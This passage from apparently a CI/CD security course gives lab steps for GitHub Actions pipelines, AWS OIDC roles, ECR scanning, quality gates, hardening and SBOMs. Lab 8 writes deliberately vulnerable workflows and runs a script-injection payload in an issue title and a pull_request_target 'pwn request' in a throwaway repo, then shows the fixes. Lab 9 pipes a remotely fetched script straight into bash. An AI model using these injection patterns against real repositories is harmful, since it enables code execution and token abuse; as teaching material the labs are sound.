    runs-on: ubuntu-latest
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: actions/setup-go@<sha>
        with: {go-version-file: go.mod}
      - run: test -z "$(gofmt -l .)" || (gofmt -l . && exit 1)
      - run: go vet ./...
  test:
    needs: lint
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: actions/setup-go@<sha>
        with: {go-version-file: go.mod}
      - run: go test -race -count=1 ./...
  build:
    needs: test
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - run: |
          docker build -t hello:ci \
            --build-arg VERSION=${{ github.sha }} .
      - run: |
          docker run -d -p 8080:8080 --name hello hello:ci
          sleep 2
          curl -fsS localhost:8080/healthz
      - run: |
          echo "### Build" >> "$GITHUB_STEP_SUMMARY"
          docker image ls hello:ci --format '{{.Size}}' \
            >> "$GITHUB_STEP_SUMMARY"

# then
git checkout -b ci && git add .github && git commit -m ci
git push -u origin ci && gh pr create --fill
gh pr checks --watch
Lab 1 · Verify, break it, clean up

Read the run, then break it two ways

A pipeline you cannot read is a pipeline you will not trust.

Verify

  • gh run list --workflow ci.yml shows the PR run; gh run view --log-failed is empty.
  • The Actions UI graph shows lint → test → build; note each job's duration.
  • The job summary shows the image size.
  • Merge the PR; the push run on main also passes.

Break it

  • Failing test: change the prefix in main_test.go → test fails, build is skipped (needs). Time to red: how many minutes?
  • Flaky test: add if time.Now().UnixNano()%2 == 0 { t.Fatal("flaky") } → rerun the job several times; it passes and fails on the same commit. Delete it — never "retry until green".
  • Format: add a badly indented line → lint fails in seconds, saving the test and build minutes.
# keep ci.yml; remove the flaky test
git checkout main && git pull
git branch -D ci
git push origin --delete ci
Lab 2 · Build

Matrix, caching and concurrency

Goal: test on two Go versions in parallel, cache modules and build output, and cancel superseded runs.

# .github/workflows/ci.yml (test job, replaced)
concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}

jobs:
  test:
    needs: lint
    runs-on: ${{ matrix.os }}
    timeout-minutes: 10
    strategy:
      fail-fast: false
      matrix:
        os: [ubuntu-latest, ubuntu-24.04-arm]
        go: ['1.26', '1.27']
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: actions/setup-go@<sha>
        with:
          go-version: ${{ matrix.go }}
          cache: true          # module + build cache, keyed on go.sum
      - run: go test -race -count=1 ./...
# extra: an explicit cache you control
      - uses: actions/cache@<sha>
        with:
          path: ~/.cache/golangci-lint
          key: lint-${{ runner.os }}-${{ hashFiles('go.sum', '.golangci.yml') }}
          restore-keys: lint-${{ runner.os }}-

# compare timings
gh run list --workflow ci.yml --limit 6 \
  --json databaseId,createdAt,updatedAt,conclusion \
  | jq -r '.[] | [.databaseId, .conclusion,
     ((.updatedAt|fromdate) - (.createdAt|fromdate))] | @tsv'

# cache entries for the repo
gh cache list
gh cache delete --all      # force a cold run

ubuntu-24.04-arm is a free arm64 runner label for public repositories. If your account does not have it, drop that matrix row.

Lab 2 · Verify, break it, clean up

Cold vs warm, and a cache key that never hits

Caches save minutes only when the key is stable and specific.

Verify

  • Four test jobs run in parallel (2 OS × 2 Go).
  • After gh cache delete --all, the first run is slower; the second shows "Cache restored" in setup-go.
  • Push twice quickly to a PR branch: the first run is cancelled by concurrency.
  • Pushes to main are never cancelled (expression in cancel-in-progress).

Break it

  • Bad key: set the cache key to lint-${{ github.sha }} → every run misses, the cache list grows, and old entries are evicted at the repo cache limit. Fix: key on lockfiles, not commits.
  • fail-fast: set fail-fast: true and break one Go version → the other matrix jobs are cancelled and you lose their signal. When is that what you want?
gh cache delete --all
# keep the matrix; it is used again in Lab 3
Lab 3 · Build

Extract a reusable workflow and a composite action

Goal: one CI definition called by two repos, versioned and pinned like any other dependency.

# in cicd-lab: .github/workflows/go-ci.yml (reusable)
name: go-ci
on:
  workflow_call:
    inputs:
      go-version: {type: string, default: '1.27'}
      run-race: {type: boolean, default: true}
    outputs:
      coverage: {value: '${{ jobs.test.outputs.coverage }}'}
permissions: {contents: read}
jobs:
  test:
    runs-on: ubuntu-latest
    outputs: {coverage: '${{ steps.cov.outputs.total }}'}
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: <you>/cicd-lab/.github/actions/setup-go-tools@<sha>
        with: {go-version: '${{ inputs.go-version }}'}
      - id: cov
        run: |
          go test ${{ inputs.run-race && '-race' || '' }} \
            -coverprofile=c.out ./...
          T=$(go tool cover -func=c.out | tail -1 | awk '{print $3}')
          echo "total=$T" >> $GITHUB_OUTPUT
# .github/actions/setup-go-tools/action.yml (composite)
name: setup-go-tools
inputs:
  go-version: {required: true}
runs:
  using: composite
  steps:
    - uses: actions/setup-go@<sha>
      with: {go-version: '${{ inputs.go-version }}'}
    - shell: bash
      run: go install golang.org/x/vuln/cmd/govulncheck@latest

# caller in a second repo (gh repo create cicd-lab-2 --public)
# .github/workflows/ci.yml
on: [pull_request]
permissions: {contents: read}
jobs:
  ci:
    uses: <you>/cicd-lab/.github/workflows/go-ci.yml@<sha-or-tag>
    with: {go-version: '1.27'}
  report:
    needs: ci
    runs-on: ubuntu-latest
    steps: [{run: 'echo "coverage ${{ needs.ci.outputs.coverage }}"'}]

In a reusable workflow, checkout gets the caller's repo: reference the composite as owner/repo/path@sha.

Lab 3 · Verify, break it, clean up

Two repos, one CI — and the usual mistakes

Reusable workflows are code: inputs are an API, versions are releases.

Verify

  • cicd-lab-2 PR runs the job named ci / test from cicd-lab.
  • The report job prints a coverage number from the reusable workflow's output.
  • Tag a release git tag go-ci-v1 && git push --tags, then pin the caller to that tag's full SHA.
  • The run's "Workflow file" link points at cicd-lab, not the caller.

Break it

  • Missing input: pass go_version (underscore) → the run fails before any job with "Invalid input, go_version is not defined". Inputs are validated against workflow_call.
  • **secrets: inherit:** add it to the caller → every secret of cicd-lab-2 is now readable by code in cicd-lab. Replace with the one named secret it needs.
  • Composite path: change the reference to ./.github/actions/setup-go-tools → the call from cicd-lab-2 fails: the path does not exist in the caller's checkout.
gh repo delete <you>/cicd-lab-2 --yes
# needs: gh auth refresh -s delete_repo

# keep go-ci.yml and the composite
# action in cicd-lab (Capstone)
Lab 4 · Build (1/2)

OIDC to AWS: print your real sub first

Goal: a GitHub job assumes an AWS role without any stored key. Step 1: see the exact claims GitHub sends for this repo and environment.

# 1) one-time per account: the IAM OIDC provider
aws iam create-open-id-connect-provider \
  --url https://token.actions.githubusercontent.com \
  --client-id-list sts.amazonaws.com

# 2) environments
gh api -X PUT repos/<you>/cicd-lab/environments/dev
gh api -X PUT repos/<you>/cicd-lab/environments/prod

# 3) run the debug workflow (right) on main
gh workflow run whoami.yml && gh run watch
gh run view --log | grep -A6 '"sub"'

# expected shape for a new repo (immutable form):
#   repo:<you>@<owner_id>/cicd-lab@<repo_id>:environment:prod
# older repos that did not opt in:
#   repo:<you>/cicd-lab:environment:prod
# .github/workflows/whoami.yml
# prints the token's claims, never the token itself
name: whoami
on: workflow_dispatch
permissions: {contents: read, id-token: write}
jobs:
  claims:
    runs-on: ubuntu-latest
    environment: prod
    steps:
      - name: decode claims
        run: |
          T=$(curl -sS \
            -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
            "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" \
            | jq -r .value)
          python3 - "$T" <<'PY'
          import sys, json, base64
          p = sys.argv[1].split('.')[1]
          p += '=' * (-len(p) % 4)
          c = json.loads(base64.urlsafe_b64decode(p))
          keys = ('sub', 'aud', 'repository', 'environment',
                  'job_workflow_ref')
          print(json.dumps({k: c.get(k) for k in keys}, indent=1))
          PY
Lab 4 · Build (2/2)

OIDC to AWS: a role that trusts exactly that sub

Step 2: trust policy pinned to aud and the full sub, then a workflow that uses the role.

# trust.json — paste the sub printed by whoami.yml
cat > trust.json <<'EOF'
{"Version": "2012-10-17",
 "Statement": [{
  "Effect": "Allow",
  "Principal": {"Federated":
    "arn:aws:iam::<acct>:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {"StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "<paste sub>"}}}]}
EOF
aws iam create-role --role-name gha-cicd-lab \
  --assume-role-policy-document file://trust.json

POL=arn:aws:iam::aws:policy
aws iam attach-role-policy --role-name gha-cicd-lab \
  --policy-arn $POL/AmazonEC2ContainerRegistryPowerUser
# .github/workflows/aws.yml
name: aws
on: workflow_dispatch
permissions: {contents: read, id-token: write}
jobs:
  who:
    runs-on: ubuntu-latest
    environment: prod
    steps:
      - uses: aws-actions/configure-aws-credentials@<sha>
        with:
          role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
          aws-region: ap-northeast-1
      - run: aws sts get-caller-identity

# run it
gh workflow run aws.yml && gh run watch

The managed ECR policy keeps Lab 5 short. In real use, scope pushes to repository/cicd-lab/*; only ecr:GetAuthorizationToken needs Resource: *.

Lab 4 · Verify, break it, clean up

Keyless, and only from prod

Every break produces the same AWS error; the debug workflow tells you which claim is wrong.

Verify

  • aws run prints assumed-role/gha-cicd-lab/… from sts get-caller-identity.
  • gh secret list and gh secret list --env prod show no AWS keys.
  • CloudTrail: an AssumeRoleWithWebIdentity event from the GitHub provider.
  • Add required reviewers to prod (Settings → Environments): the job now waits for approval.

Break it

  • Wrong scope: remove environment: prod from the job → sub becomes …:ref:refs/heads/main → "Not authorized to perform sts:AssumeRoleWithWebIdentity". Run whoami without the environment to see it.
  • Missing permission: drop id-token: write → the action cannot request a token at all.
  • Rename: rename the repo → the name part of sub changes (renames after 15 Jul 2026 also switch to the immutable form), so the trust policy no longer matches. Fix: update the policy to the new sub; the IDs stop a new repo with the old name from matching.
  • Fork PR (optional): fork PRs get no OIDC token and no secrets.
# keep role + provider for Lab 5,
# then remove them:
POL=arn:aws:iam::aws:policy
aws iam detach-role-policy \
  --role-name gha-cicd-lab \
  --policy-arn \
  $POL/AmazonEC2ContainerRegistryPowerUser
aws iam delete-role \
  --role-name gha-cicd-lab
Q="OpenIDConnectProviderList[?contains(\
Arn,'token.actions')].Arn"
P=$(aws iam \
  list-open-id-connect-providers \
  --query "$Q" --output text)
echo "$P"   # check before deleting
aws iam \
  delete-open-id-connect-provider \
  --open-id-connect-provider-arn "$P"
Lab 5 · Build (1/2)

ECR repositories, lifecycle and Inspector on push

Goal: an immutable app repo, a separate mutable cache repo, and enhanced scanning for cicd-lab/*.

# app repo: tags can never be overwritten
aws ecr create-repository \
  --repository-name cicd-lab/hello \
  --image-tag-mutability IMMUTABLE

# cache repo: BuildKit rewrites :main every build
aws ecr create-repository \
  --repository-name cicd-lab/hello-cache
aws ecr put-lifecycle-policy \
  --repository-name cicd-lab/hello-cache \
  --lifecycle-policy-text '{"rules":[{"rulePriority":1,
    "selection":{"tagStatus":"any",
      "countType":"imageCountMoreThan","countNumber":5},
    "action":{"type":"expire"}}]}'
# Inspector enhanced scanning, on push, for this repo only
aws inspector2 enable --resource-types ECR
aws ecr put-registry-scanning-configuration \
  --scan-type ENHANCED \
  --rules '[{"scanFrequency":"SCAN_ON_PUSH",
    "repositoryFilters":[{"filter":"cicd-lab/hello",
      "filterType":"WILDCARD"}]}]'
aws ecr get-registry-scanning-configuration

# findings for the repo (after Lab 5 step 2 pushes)
F='{"ecrImageRepositoryName":[{"comparison":"EQUALS",
     "value":"cicd-lab/hello"}]}'
aws inspector2 list-findings --filter-criteria "$F" \
  --query 'findings[].[severity,title]' --output table

Enhanced scanning is billed by Inspector per image scanned and re-scanned; basic scanning is ECR's free option. You turn both back off in the cleanup.

Lab 5 · Build (2/2)

Buildx: multi-arch push with registry cache

Goal: one workflow run produces an amd64 + arm64 manifest list under an immutable tag, reusing cached layers.

# .github/workflows/image.yml
name: image
on:
  push: {branches: [main]}
  workflow_dispatch: {}
permissions: {contents: read, id-token: write}
jobs:
  build:
    runs-on: ubuntu-latest
    environment: prod
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: aws-actions/configure-aws-credentials@<sha>
        with:
          role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
          aws-region: ap-northeast-1
      - id: ecr
        uses: aws-actions/amazon-ecr-login@<sha>
      - uses: docker/setup-buildx-action@<sha>
      - run: |
          REG=${{ steps.ecr.outputs.registry }}
          echo "REG=$REG" >> "$GITHUB_ENV"
          echo "CACHE=$REG/cicd-lab/hello-cache:main" >> "$GITHUB_ENV"
      - uses: docker/build-push-action@<sha>
        with:
          push: true
          platforms: linux/amd64,linux/arm64
          build-args: VERSION=${{ github.sha }}
          tags: ${{ env.REG }}/cicd-lab/hello:${{ github.sha }}
          cache-from: type=registry,ref=${{ env.CACHE }}
          cache-to: "type=registry,ref=${{ env.CACHE }},\
            mode=max,image-manifest=true,oci-mediatypes=true"

# the Dockerfile cross-compiles (Lab 0), so no QEMU step is needed
gh workflow run image.yml && gh run watch

image-manifest=true,oci-mediatypes=true lets ECR store BuildKit cache. The \ at the end of a double-quoted YAML line joins the next line without a space.

Lab 5 · Verify, break it, clean up

Two platforms, one digest, findings per platform

The tag points to a manifest list; Inspector scans each platform image, not the list.

Verify

  • aws ecr describe-images --repository-name cicd-lab/hello lists the tag plus untagged per-platform images.
  • docker buildx imagetools inspect <reg>/cicd-lab/hello:<sha> shows linux/amd64 and linux/arm64.
  • aws inspector2 list-findings --filter-criteria '{"ecrImageRepositoryName":[{"comparison":"EQUALS","value":"cicd-lab/hello"}]}' --query 'findings[].[severity,title]' (distroless + Go: usually few or none).
  • Second run: "importing cache manifest" and many CACHED steps in the build log.

Break it

  • Re-push a tag: re-run the workflow for the same commit → push fails: the tag already exists and the repository is immutable. Fix: never re-tag; build a new commit.
  • Cache on the immutable repo: point cache-to at cicd-lab/hello:buildcache → the second build fails writing the cache tag.
  • Expired role scope: run image.yml from a branch without environment: prod → AssumeRole denied (Lab 4).
aws ecr delete-repository --force \
  --repository-name cicd-lab/hello
aws ecr delete-repository --force \
  --repository-name cicd-lab/hello-cache
aws ecr put-registry-scanning-configuration \
  --scan-type BASIC
aws inspector2 disable --resource-types ECR
# then remove the IAM role + provider
# (cleanup block of Lab 4)
Lab 6 · Build (1/2)

Quality gates: CodeQL and dependency review

Goal: every PR is blocked by real findings, not by style opinions, and each gate tells you exactly what to fix.

# .github/workflows/codeql.yml
name: codeql
on:
  pull_request: {}
  push: {branches: [main]}
permissions: {contents: read, security-events: write}
jobs:
  analyze:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: github/codeql-action/init@<sha>
        with: {languages: go}
      - uses: github/codeql-action/autobuild@<sha>
      - uses: github/codeql-action/analyze@<sha>
# .github/workflows/deps.yml
name: deps
on: pull_request
permissions: {contents: read}
jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: actions/dependency-review-action@<sha>
        with: {fail-on-severity: high}

# results
gh pr checks <pr>
# code scanning alerts (after the first run on main)
gh api repos/<you>/cicd-lab/code-scanning/alerts \
  --jq '.[] | [.rule.id, .state] | @tsv'
Lab 6 · Build (2/2)

Quality gates: Checkov, push protection, a ruleset

Goal: IaC findings and leaked secrets are stopped before merge, and nobody can skip the gates quietly.

# infra/main.tf — deliberately weak, for Checkov
mkdir -p infra && cat > infra/main.tf <<'EOF'
resource "aws_s3_bucket" "logs" {
  bucket = "cicd-lab-logs-example"
}
EOF

# .github/workflows/iac.yml
name: iac
on: pull_request
permissions: {contents: read}
jobs:
  checkov:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - run: pipx run checkov -d infra --compact --quiet
# secret scanning + push protection (public repo)
gh api -X PATCH repos/<you>/cicd-lab \
  -f 'security_and_analysis[secret_scanning][status]=enabled' \
  -f 'security_and_analysis[secret_scanning_push_protection][status]=enabled'

# ruleset for main (UI: Settings → Rules → Rulesets)
#   target: default branch
#   require a pull request before merging
#   require status checks:
#     lint, test, analyze, review, checkov
#   block force pushes
#   bypass list: empty (or a break-glass team)

# merge queue: org-owned repos only; add to every
# required workflow:
#   on:
#     merge_group:

Merge queue (merge_group event) needs an organization-owned repo. If you created a free org, transfer cicd-lab there to try it.

Lab 6 · Verify, break it, clean up

Each gate fails for a reason you can read

A gate nobody understands gets bypassed; make every failure actionable.

Verify

  • A PR touching infra/ shows Checkov failures with check IDs and the resource name.
  • Code scanning results appear under Security → Code scanning after the first main run.
  • The main ruleset blocks merging while checkov is red.
  • Push protection is "Enabled" in Settings → Code security.

Break it

  • Vulnerable dependency: go get golang.org/x/text@v0.3.6 and use it → dependency review fails on the advisory for that version; go get golang.org/x/text@latest fixes it.
  • IaC: Checkov fails the S3 bucket (no encryption, logging, versioning, public access block). Fix the findings or add a skip comment with a reason and an owner — never a blanket skip.
  • Bypass attempt: try to merge as admin → the ruleset blocks it unless you are on its bypass list. Who should be on that list?
git rm -r infra && git commit -m \
  "remove checkov sample" && git push
# keep codeql.yml and deps.yml
# keep the ruleset (Labs 9, 13)
Lab 7 · Build (1/2)

Rolling vs blue/green on kind

Goal: feel both strategies on a real cluster with the same two image versions.

kubectl config use-context kind-cicd
for c in blue green; do
  docker build --build-arg VERSION=$c -t hello:$c .
  kind load docker-image hello:$c --name cicd
done

for c in blue green; do
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata: {name: hello-$c, labels: {app: hello}}
spec:
  replicas: 2
  selector: {matchLabels: {app: hello, color: $c}}
  template:
    metadata: {labels: {app: hello, color: $c}}
    spec:
      containers:
        - name: hello
          image: hello:$c
          imagePullPolicy: Never
          readinessProbe:
            httpGet: {path: /healthz, port: 8080}
EOF
done
# one Service, selector decides the colour
kubectl create service clusterip hello --tcp=80:8080
kubectl patch svc hello -p \
  '{"spec":{"selector":{"app":"hello","color":"blue"}}}'

# terminal 1: watch responses
kubectl run curl --rm -it --image=curlimages/curl \
  --restart=Never -- \
  sh -c 'while true; do curl -s hello; sleep 0.5; done'

# terminal 2: blue/green = switch all traffic at once
kubectl patch svc hello -p \
  '{"spec":{"selector":{"app":"hello","color":"green"}}}'

# rolling = replace pods of one Deployment gradually
kubectl patch svc hello -p \
  '{"spec":{"selector":{"app":"hello","color":"blue"}}}'
kubectl set image deploy/hello-blue hello=hello:green
kubectl rollout status deploy/hello-blue
kubectl rollout undo deploy/hello-blue
Lab 7 · Build (2/2)

Hand off to GitOps: a promotion PR instead of a deploy

Goal: the last CI step changes Git, not a cluster. Argo CD (GitOps deck) does the rest.

# image.yml (Lab 5): new job after build
  promote:
    needs: build
    runs-on: ubuntu-latest
    environment: prod        # GITOPS_PR_TOKEN is an env secret
    steps:
      - uses: actions/checkout@<sha>
        with:
          repository: <you>/gitops-lab
          token: ${{ secrets.GITOPS_PR_TOKEN }}
      - name: open promotion PR
        env:
          GH_TOKEN: ${{ secrets.GITOPS_PR_TOKEN }}
          TAG: ${{ github.sha }}
        run: |
          git switch -c "promote-dev-$TAG"
          yq -i '.image.tag = strenv(TAG)' \
            envs/dev/web/values.yaml
          git -c user.name=ci -c user.email=ci@example.com \
            commit -am "dev: hello $TAG"
          git push -u origin HEAD
          gh pr create --fill --base main
# the token: fine-grained PAT, one repo, short expiry
#   Settings → Developer settings → Fine-grained tokens
#   Repository access: only gitops-lab
#   Permissions: Contents RW, Pull requests RW
gh secret set GITOPS_PR_TOKEN --env prod   # paste it

# watch the hand-off
gh run watch
gh pr list --repo <you>/gitops-lab
gh pr diff <number> --repo <you>/gitops-lab
#  -  tag: <old sha>
#  +  tag: <new sha>

# production version: a GitHub App installation token
# (actions/create-github-app-token) instead of a PAT

Use the values path your gitops-lab really has. Better still: promote the image digest, not the tag (Chapter 12).

Lab 7 · Verify, break it, clean up

Watch the switch, then hand off to Git

Blue/green swaps all traffic at once; rolling mixes versions during the rollout.

Verify

  • The curl loop flips from "hello from blue" to "hello from green" in one step after the Service patch.
  • During set image, the loop shows both versions for a few seconds (rolling).
  • After image.yml runs, gitops-lab has an open PR changing only image.tag.
  • CI never ran kubectl against a cluster.

Break it

  • No readiness probe: remove it and roll → requests fail while new pods start. Probes are what make rolling safe.
  • Instant rollback: patch the Service back to blue — seconds, no rebuild. What does that cost in capacity?
  • Token scope: give GITOPS_PR_TOKEN read-only Contents → git push returns 403. Least privilege that still works is the goal.
kubectl delete deploy hello-blue hello-green
kubectl delete svc hello
# close the test PR in gitops-lab
gh pr close --repo <you>/gitops-lab \
  --delete-branch <number>
# keep the kind cluster for Lab 12
Lab 8 · Build

Attack lab: script injection and a pwn request (throwaway repo)

Goal: watch both classic GitHub Actions attacks run, then fix them. Use a new private repo with no secrets and delete it afterwards.

gh repo create cicd-attack-lab --private --clone
cd cicd-attack-lab && mkdir -p .github/workflows

# A) script injection — VULNERABLE on purpose
cat > .github/workflows/triage.yml <<'EOF'
name: triage
on: {issues: {types: [opened]}}
permissions: {issues: write}
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"
EOF
git add . && git commit -m triage && git push
# the "attacker" opens an issue whose title is code
T='x"; echo "INJECTED as $(whoami)"; echo "'
gh issue create --body test --title "$T"
sleep 20 && gh run view --log | grep INJECTED
# B) pwn request — VULNERABLE on purpose
cat > .github/workflows/pr-build.yml <<'EOF'
name: pr-build
on: pull_request_target
permissions: {contents: write, issues: write}
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: ./build.sh
        env: {GH_TOKEN: '${{ github.token }}'}
EOF
printf '#!/bin/sh\necho building\n' > build.sh && chmod +x build.sh
git add . && git commit -m "pr build" && git push
# the "attacker" PR edits build.sh (from a fork in real life)
git switch -c evil
P='gh api -X POST "repos/$GITHUB_REPOSITORY/issues" -f title=pwned'
printf '#!/bin/sh\n%s\n' "$P" > build.sh
git commit -am "harmless refactor" && git push -u origin evil
gh pr create --fill
sleep 30 && gh issue list     # "pwned", by github-actions

Never run these patterns in a repo with secrets, deploy keys or OIDC roles.

Lab 8 · Verify, break it, clean up

Fix both, then let a linter find them

Both bugs are one line; both are found automatically by zizmor.

Verify

  • Injection log shows INJECTED as runner: the issue title ran as shell.
  • The pwn PR created an issue "pwned" before anyone reviewed it.
  • zizmor .github/workflows reports template injection in triage.yml and dangerous triggers / checkout in pr-build.yml.

Break it

  • Fix A: pass the title through env: {TITLE: '${{ github.event.issue.title }}'} and echo "New issue: $TITLE" → the same issue title is printed, not executed.
  • Fix B: switch to on: pull_request with permissions: {contents: read} → PR code runs with a read-only token and, from forks, no secrets. If you truly need pull_request_target, never check out or run PR code in it.
  • Re-run both attacks: nothing executes; zizmor is clean.
cd .. && rm -rf cicd-attack-lab
gh auth refresh -s delete_repo
gh repo delete <you>/cicd-attack-lab \
  --yes
Lab 9 · Build (1/2)

Harden cicd-lab: SHA pins, update cooldown, read-only token

Goal: apply the hardening checklist to the real repo.

cd cicd-lab
# 1) pin every action to a full SHA ("# vX.Y.Z" comments)
pinact run
git diff --stat .github

# 2) keep pins fresh, but never adopt a day-old release
cat > .github/dependabot.yml <<'EOF'
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule: {interval: weekly}
    cooldown: {default-days: 7}
    groups: {actions: {patterns: ['*']}}
  - package-ecosystem: gomod
    directory: /
    schedule: {interval: weekly}
    cooldown: {default-days: 3}
  - package-ecosystem: docker      # base image digests
    directory: /
    schedule: {interval: weekly}
EOF
# 3) default workflow token: read-only
gh api -X PUT \
  repos/<you>/cicd-lab/actions/permissions/workflow \
  -f default_workflow_permissions=read \
  -F can_approve_pull_request_reviews=false

# 4) workflows need an owner's review
printf '/.github/ @<you>\n' > .github/CODEOWNERS

# 5) pin base images by digest in the Dockerfile
docker buildx imagetools inspect golang:1.27 \
  --format '{{.Manifest.Digest}}'
#   FROM --platform=$BUILDPLATFORM golang:1.27@sha256:<digest>

# 6) Settings → Actions → General:
#    allow selected actions only,
#    require actions pinned to a full-length commit SHA

git add .github Dockerfile
git commit -m "harden workflows" && git push
Lab 9 · Build (2/2)

Linters and Scorecard as required checks

Goal: regressions in workflow files fail a required check before anyone reviews them.

# .github/workflows/lint-workflows.yml
name: lint-workflows
on:
  pull_request: {paths: ['.github/**']}
  push: {branches: [main], paths: ['.github/**']}
permissions: {contents: read}
jobs:
  actionlint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - run: |
          U=https://raw.githubusercontent.com/rhysd/actionlint/main
          bash <(curl -sSf "$U/scripts/download-actionlint.bash")
          ./actionlint -color
  zizmor:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - run: pipx run zizmor --min-severity medium .github/workflows
# .github/workflows/scorecard.yml
name: scorecard
on:
  push: {branches: [main]}
  schedule: [{cron: '0 3 * * 1'}]
permissions: {contents: read}
jobs:
  analysis:
    runs-on: ubuntu-latest
    permissions: {security-events: write, id-token: write}
    steps:
      - uses: actions/checkout@<sha>
        with: {persist-credentials: false}
      - uses: ossf/scorecard-action@<sha>
        with:
          results_file: results.sarif
          results_format: sarif
          publish_results: true
      - uses: github/codeql-action/upload-sarif@<sha>
        with: {sarif_file: results.sarif}

# ruleset on main: add actionlint + zizmor as required checks

The actionlint download script comes from main, which is itself unpinned. Once it works, switch to a pinned release binary or the container image by digest.

Lab 9 · Verify, break it, clean up

Prove each control rejects the regression it targets

A control you have never seen fail is a control you do not know works.

Verify

  • grep -rn "uses:" .github | grep -v "@[0-9a-f]\{40\}" prints nothing (except local ./ actions).
  • Dependabot opens a grouped "actions" PR at most weekly, never for a release younger than 7 days.
  • A new workflow without permissions: gets a read-only token: gh api writes fail with 403.
  • Scorecard results appear under Security → Code scanning; note the score.

Break it

  • Unpinned: add uses: actions/setup-node@v4 in a PR → zizmor flags unpinned uses; with the org/repo SHA policy on, the run fails before starting.
  • Injection is back: paste Lab 8's vulnerable run: line → zizmor fails the PR (template injection); the ruleset blocks merge.
  • Workflow edit by a non-owner: CODEOWNERS requires your review for any .github/ change.
# keep everything: this is the
# hardened baseline for Labs 10-13
gh pr list --state open
# merge the Dependabot PRs you trust
Lab 10 · Build

SBOMs in two formats, a scan gate, and a VEX statement

Goal: generate SPDX and CycloneDX SBOMs, fail the build on critical CVEs, and record a justified "not affected" with OpenVEX.

# locally first
docker build -t hello:sbom .
syft hello:sbom -o spdx-json=sbom.spdx.json -o cyclonedx-json=sbom.cdx.json
jq '.packages | length' sbom.spdx.json
syft dir:. -o table                    # source view: go.mod modules
grype sbom:./sbom.spdx.json            # image view
trivy sbom sbom.cdx.json               # second opinion

# introduce an old module so there is something to find
go get golang.org/x/text@v0.3.6
syft dir:. -o spdx-json=src.spdx.json
grype sbom:./src.spdx.json --fail-on high; echo "exit=$?"

# vex.json (OpenVEX): we never call the vulnerable code path
cat > vex.json <<'EOF'
{"@context": "https://openvex.dev/ns/v0.2.0",
 "@id": "https://github.com/<you>/cicd-lab/vex/1",
 "author": "<you>", "timestamp": "2026-11-02T00:00:00Z", "version": 1,
 "statements": [{
   "vulnerability": {"name": "<CVE id grype reported>"},
   "products": [{"@id": "<purl grype reported for the product>"}],
   "subcomponents": [{"@id": "pkg:golang/golang.org/x/text@v0.3.6"}],
   "status": "not_affected",
   "justification": "vulnerable_code_not_in_execute_path"}]}
EOF
grype sbom:./src.spdx.json --vex vex.json --fail-on high
# in CI: add to image.yml after the build step
      - uses: anchore/sbom-action@<sha>
        with:
          image: ${{ env.REG }}/cicd-lab/hello:${{ github.sha }}
          format: spdx-json
          output-file: sbom.spdx.json
      - uses: anchore/scan-action@<sha>
        with:
          sbom: sbom.spdx.json
          fail-build: true
          severity-cutoff: critical
      - uses: actions/upload-artifact@<sha>
        with: {name: sbom, path: sbom.spdx.json}

# triage policy (write it down in SECURITY.md)
#  critical + in KEV or high EPSS  -> fix or block today
#  critical / high                 -> fix within 7 / 30 days
#  not affected                    -> VEX with justification,
#                                     reviewed at every release

VEX matching is by product and package identifiers: copy the CVE ID and purls exactly as grype prints them, or the statement silently does not apply.

Lab 10 · Verify, break it, clean up

Same artifact, two SBOM formats, one decision

An SBOM is only useful if you can query it later and trust where it came from (Lab 11).

Verify

  • Both SBOM files list the Go module and the stdlib version used to build the binary.
  • grype --fail-on high exits non-zero with x/text v0.3.6, zero after the VEX (or after upgrading).
  • In CI, the sbom artifact is attached to the run; the scan step summary lists findings.

Break it

  • Silent VEX: put a typo in the purl → grype still reports the CVE. Unmatched VEX statements do nothing; review them like code.
  • Wrong view: scan only the image SBOM after adding x/text but never importing it → nothing found: the module is not in the binary. Which view (source or image) should gate the build, and why?
  • Fix properly: go get golang.org/x/text@latest && go mod tidy → finding gone, VEX entry deleted.
go get golang.org/x/text@latest
go mod tidy
rm -f sbom.*.json src.spdx.json vex.json
docker image rm hello:sbom
Lab 11 · Build (1/2)

Sign and attest in the release workflow

Goal: every release image on GHCR carries a Sigstore signature and SLSA provenance tied to one workflow file on one branch.

# .github/workflows/release.yml
name: release
on:
  push: {branches: [main]}
  workflow_dispatch:
    inputs: {sign: {type: boolean, default: true}}
permissions: {contents: read}
jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write        # push to GHCR
      id-token: write        # Sigstore + attestations
      attestations: write
    env: {IMG: 'ghcr.io/${{ github.repository }}/hello'}
    steps:
